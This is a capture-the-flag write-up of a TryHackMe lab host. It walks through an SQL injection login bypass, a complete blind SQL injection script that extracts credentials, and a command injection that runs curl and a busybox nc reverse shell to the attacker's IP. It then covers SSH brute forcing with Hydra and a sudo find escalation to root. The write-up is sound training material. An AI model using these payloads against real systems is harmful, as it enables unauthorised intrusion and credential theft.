# Operation Promotion

{% embed url="<https://tryhackme.com/room/operationpromotion>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

You are up for promotion at **Hadron Security**. Your senior lead, Mara, has handed you a solo engagement against **RecruitCorp**, a small recruiting firm with a public-facing portal. Compromise the host, capture the flags, and demonstrate that you are ready for the Penetration Tester title.

## Summary

<details>

<summary>Summary</summary>

In Operation Promotion, we enumerate a small recruiting firm's host and identify SSH, an Apache web portal, and an SMB service exposing a readable `public` share via anonymous guest authentication. After discovering a restricted `/admin/` directory through `robots.txt` and Feroxbuster, we bypass the login form with the SQL injection payload `admin' --` and gain access to an internal dashboard, which reveals a `sysmaint-checks/ping.php` endpoint vulnerable to command injection via the `host` parameter. We exploit this by injecting a `busybox nc` reverse shell through command substitution, landing a callback as `www-data` and uncovering the database user `jford`. After failing to crack the bcrypt hash, we generate a custom wordlist using Hashcat's `dive.rule` and brute-force SSH with Hydra to authenticate as `jford`, retrieving the user flag from the home directory. Finally, we abuse a permissive `sudo` rule allowing `jford` to run `find` as root and leverage GTFOBins to spawn a root shell via `sudo /usr/bin/find . -exec /bin/sh \; -quit`, fully compromising the host and retrieving the final flag from `/root/flag.txt`.

</details>

## Recon

We use `rustscan -b 500 -a operation-promotion.thm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a operation-promotion.thm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/4o8CWzBg15zx4kO8f2Lh" alt=""><figcaption></figcaption></figure>

We discover three open ports. Among those are `22` (SSH), `80` (HTTP) and `139`+`445` (SMB). SSH is running OpenSSH 9.6p1 and the web server is hosted via Apache 2.4.58. The `robots.txt` disallows `/admin/`.

<figure><img src="/files/TQEsY8cbgn2YkShUtlnQ" alt=""><figcaption></figcaption></figure>

We start by enumerating the SMB service using NetExec and attempt to authenticate anonymously as a `guest` without a password. We are successful and see that we have read access to the `public` share.

{% code overflow="wrap" expandable="true" %}

```
nxc smb operation-promotion.thm -u guest -p '' --shares
```

{% endcode %}

<figure><img src="/files/mBC5KIb8TAdbnFdxnFva" alt=""><figcaption></figcaption></figure>

We connect to the share using impackets smbclient.py and find a README.txt file in the share, but it doesn't contain anything of note.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py guest:''@operation-promotion.thm
```

{% endcode %}

<figure><img src="/files/toPYhl4i4gj78DJ8tEHK" alt=""><figcaption></figcaption></figure>

We visit the website. At first glance, it looks like we're looking at a purely static page. RecruitCorp is launching a spring hiring campaign.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/
```

{% endcode %}

<figure><img src="/files/JHRdSNWBKDcLTKnMozTy" alt=""><figcaption></figcaption></figure>

We enumerate additional directories using Feroxbuster and find the `/admin/` directory again.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://operation-promotion.thm/'
```

{% endcode %}

<figure><img src="/files/RtKhJ1cagF06MDMjHu41" alt=""><figcaption></figcaption></figure>

We visit this site and are presented with a login page.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin
```

{% endcode %}

<figure><img src="/files/7y0FHPmrPXDghI5EsHvL" alt=""><figcaption></figcaption></figure>

## Access as admin

We're trying to log in using a simple login bypass. By inserting a comment `--`, we're trying to bypass the password check.

{% code overflow="wrap" expandable="true" %}

```
admin' --
```

{% endcode %}

<figure><img src="/files/acvvWPp0TiJ3D3I5vEcJ" alt=""><figcaption></figcaption></figure>

We were able to log in successfully using the payload and now have the dashboard in front of us.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/dashboard.php
```

{% endcode %}

<figure><img src="/files/w385pFWHlMKHho1NDMOv" alt=""><figcaption></figcaption></figure>

This dashboard provides a user lookup.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/users/lookup.php?id=1
```

{% endcode %}

<figure><img src="/files/FetLyM8XlG7hb71r7T3E" alt=""><figcaption></figcaption></figure>

We try out different IDs and find an entry for the sysma-int service account, which reveals another directory containing a `ping.php` page.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/users/lookup.php?id=7
```

{% endcode %}

<figure><img src="/files/ZbsdPuBICmYbsuPyV7d0" alt=""><figcaption></figcaption></figure>

## Enum DB

As a little bonus, we can also use the SQL injection to enumerate all users in the database.

With the following script we use the HTTP response status (302 redirect vs. not) as a true/false oracle to confirm whether injected conditions match. Then we let it binary-search each character via payloads like `' OR UNICODE(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET <i>),<pos>,1))<=<n> --` (same for the `password`) to extract every credential from the `users` table one character at a time.

{% code title="enum-db.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
#!/usr/bin/env python3
import requests
import string
import sys

TARGET = "http://operation-promotion.thm/admin/"
COOKIES = {"PHPSESSID": ""}

HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://operation-promotion.thm",
    "Referer": "http://operation-promotion.thm/admin/",
}

session = requests.Session()
session.headers.update(HEADERS)
session.cookies.update(COOKIES)

# ------------------------------------------------------------------
# Oracle
# ------------------------------------------------------------------
def truthy(payload: str) -> bool:
    """True when the injected condition makes a row match (→ 302 redirect)."""
    r = session.post(
        TARGET,
        data={"username": payload, "password": "x"},
        allow_redirects=False,
        timeout=10,
    )
    return r.status_code in (301, 302, 303)

def confirm_oracle():
    print("[*] sanity check…")
    t = truthy("' OR 1=1 --")
    f = truthy("' OR 1=2 --")
    print(f"    1=1 → {t} | 1=2 → {f}")
    if not (t and not f):
        print("[!] oracle unreliable — inspect responses manually")
        sys.exit(1)
    print("[+] oracle good\n")

# ------------------------------------------------------------------
# Generic binary-search helpers
# ------------------------------------------------------------------
def bsearch_int(predicate_le, lo, hi):
    """Find smallest n in [lo,hi] where predicate_le(n) is True."""
    while lo < hi:
        mid = (lo + hi) // 2
        if predicate_le(mid):
            hi = mid
        else:
            lo = mid + 1
    return lo

def extract_string(subquery_for_char_at, length):
    """Pull a string char-by-char via binary search over printable ASCII."""
    out = ""
    for i in range(1, length + 1):
        pos = i  # SQLite SUBSTR is 1-indexed
        ch = chr(bsearch_int(
            lambda n, p=pos: truthy(
                f"' OR UNICODE({subquery_for_char_at(p)})<={n} --"
            ),
            32, 126
        ))
        out += ch
        print(f"    [{i:02d}/{length}] {out}")
    return out

# ------------------------------------------------------------------
# User enumeration
# ------------------------------------------------------------------
def count_users(max_users=50) -> int:
    print("[*] counting users…")
    if not truthy(f"' OR (SELECT COUNT(*) FROM users)<={max_users} --"):
        print(f"[!] more than {max_users} users, raise the cap")
        sys.exit(1)
    n = bsearch_int(
        lambda m: truthy(f"' OR (SELECT COUNT(*) FROM users)<={m} --"),
        0, max_users
    )
    print(f"[+] {n} user(s) in table\n")
    return n

def get_field_length(field: str, offset: int, max_len=64) -> int:
    if not truthy(
        f"' OR (SELECT LENGTH({field}) FROM users LIMIT 1 OFFSET {offset})<={max_len} --"
    ):
        print(f"[!] {field}[{offset}] longer than {max_len}")
        sys.exit(1)
    return bsearch_int(
        lambda m: truthy(
            f"' OR (SELECT LENGTH({field}) FROM users LIMIT 1 OFFSET {offset})<={m} --"
        ),
        1, max_len
    )

def dump_user(offset: int) -> tuple[str, str]:
    print(f"[*] user #{offset}")

    ulen = get_field_length("username", offset)
    print(f"    username length = {ulen}")
    username = extract_string(
        lambda p, o=offset: f"SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {o}),{p},1)",
        ulen
    )

    plen = get_field_length("password", offset)
    print(f"    password length = {plen}")
    password = extract_string(
        lambda p, o=offset: f"SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {o}),{p},1)",
        plen
    )

    print(f"[+] {username}:{password}\n")
    return username, password

# ------------------------------------------------------------------
# Main
# ------------------------------------------------------------------
if __name__ == "__main__":
    confirm_oracle()
    n = count_users()

    creds = []
    for i in range(n):
        creds.append(dump_user(i))

    print("=" * 40)
    print("Recovered credentials:")
    for u, p in creds:
        print(f"  {u}:{p}")
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
python enum-db.py
```

{% endcode %}

<figure><img src="/files/6pNOmqHLYm4JD5uaITDo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NrufPXDYf3McFShYjUaI" alt=""><figcaption></figcaption></figure>

## Shell as www-data

For now, let's focus on the newly discovered directory mentioned in the note. When we call it, we are prompted to use it via the `hosts` parameter.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/sysmaint-checks/ping.php
```

{% endcode %}

<figure><img src="/files/6jzAPRRs7iKCsV0VokJo" alt=""><figcaption></figcaption></figure>

We make a simple test to ping localhost and see the output of a linux ping command. This suggest that a system command might being executed and we should try to inject commands.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/sysmaint-checks/ping.php?host=127.0.0.1
```

{% endcode %}

<figure><img src="/files/F41ncK0xdSyEIKylGTHS" alt=""><figcaption></figcaption></figure>

Via command substituion we try to fetch our webserver...

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/admin/sysmaint-checks/ping.php?host=127.0.0.1$(curl http://192.168.135.32)
```

{% endcode %}

<figure><img src="/files/Gfi4j8Z4dhgucnsf9AHC" alt=""><figcaption></figcaption></figure>

... and we get a hit. We are able to succesfully inject commands.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 80
```

{% endcode %}

<figure><img src="/files/KmhHRcwv13vveF0EKBEy" alt=""><figcaption></figcaption></figure>

Next, we try to get a reverse shell. We run a listener. For this we will be using Penelope.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

Next, we replace the `curl` command with a `busybox` reverse shell. We get a hit, and are `www-data`.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm//admin/sysmaint-checks/ping.php?host=127.0.0.1$(busybox nc 192.168.135.32 4445 -e bash)
```

{% endcode %}

<figure><img src="/files/mLJ7jyoC7qAyxU0OYJGZ" alt=""><figcaption></figcaption></figure>

Here we are able to identifiey the db\_user `jford` and a corresponding db bcrypt hash. The `/etc/passwd` reveals, that the user of the system is also `jford`.&#x20;

<figure><img src="/files/p6gy8i4JVVJyWD262DrH" alt=""><figcaption></figcaption></figure>

## Shell as jford

Unfortunately we are not able to crack the `db_pass_hash`. Also the found passwords inside the DB are not of any use here.

We inspect the index again. Here we see some keywords. Maybe we need to extract some keywords using cewl and generate our own wordlist. Also Seasons combined with years”is a popular password. But this simple password won't work.

{% code overflow="wrap" expandable="true" %}

```
http://operation-promotion.thm/
```

{% endcode %}

<figure><img src="/files/XT0iyL3AdMZu0kLLjV2Z" alt=""><figcaption></figcaption></figure>

We generate a wordlist from the base `spring2026`. For brute-force attacks, we use Hashcat with the `dive` rule. This generates nearly 100,000 possible passwords.

{% code overflow="wrap" expandable="true" %}

```
echo "spring2026" > base.txt
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
hashcat --stdout base.txt -r /usr/share/hashcat/rules/dive.rule > wordlist.txt
```

{% endcode %}

<figure><img src="/files/Gm4wkxKTWnDfWjOHpFbQ" alt=""><figcaption></figcaption></figure>

We use Hydra to launch a dictionary attack on the SSH services as `jford` and select our newly generated wordlist. After a short while, we get a match.

{% code overflow="wrap" expandable="true" %}

```
hydra -l jford -P wordlist.txt operation-promotion.thm ssh    
```

{% endcode %}

<figure><img src="/files/JlwJtKAmPXdW5ThdUZzm" alt=""><figcaption></figcaption></figure>

We are `jford`...

<figure><img src="/files/QIFx5anSDiM0xGvXXd1Y" alt=""><figcaption></figcaption></figure>

... and find the users flag in the home directory of the user.

{% code overflow="wrap" expandable="true" %}

```
cat /home/jford/users.txt
```

{% endcode %}

<figure><img src="/files/G3O5ZgXPvLPtviNdcKlf" alt=""><figcaption></figcaption></figure>

## Shell as root

As jford we are allowed to run `find` as `root` via `sudo`.

{% code overflow="wrap" expandable="true" %}

```
sudo -l
```

{% endcode %}

<figure><img src="/files/QZJ3EZs93f3LZCYZYufe" alt=""><figcaption></figcaption></figure>

With that we can spawn a shell in the context of root. See GTFOBins - living of the land...

{% embed url="<https://gtfobins.org/gtfobins/find/#shell>" %}

<figure><img src="/files/yj0TJ5r4ZWzbe2CjiO4Z" alt=""><figcaption></figcaption></figure>

We run the following command and become root. We find the final flag at `/root/flag.txt`.

{% code overflow="wrap" expandable="true" %}

```
sudo /usr/bin/find . -exec /bin/sh \; -quit
```

{% endcode %}

<figure><img src="/files/DeFBWJM6GEQV6JpDb2fA" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-promotion.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
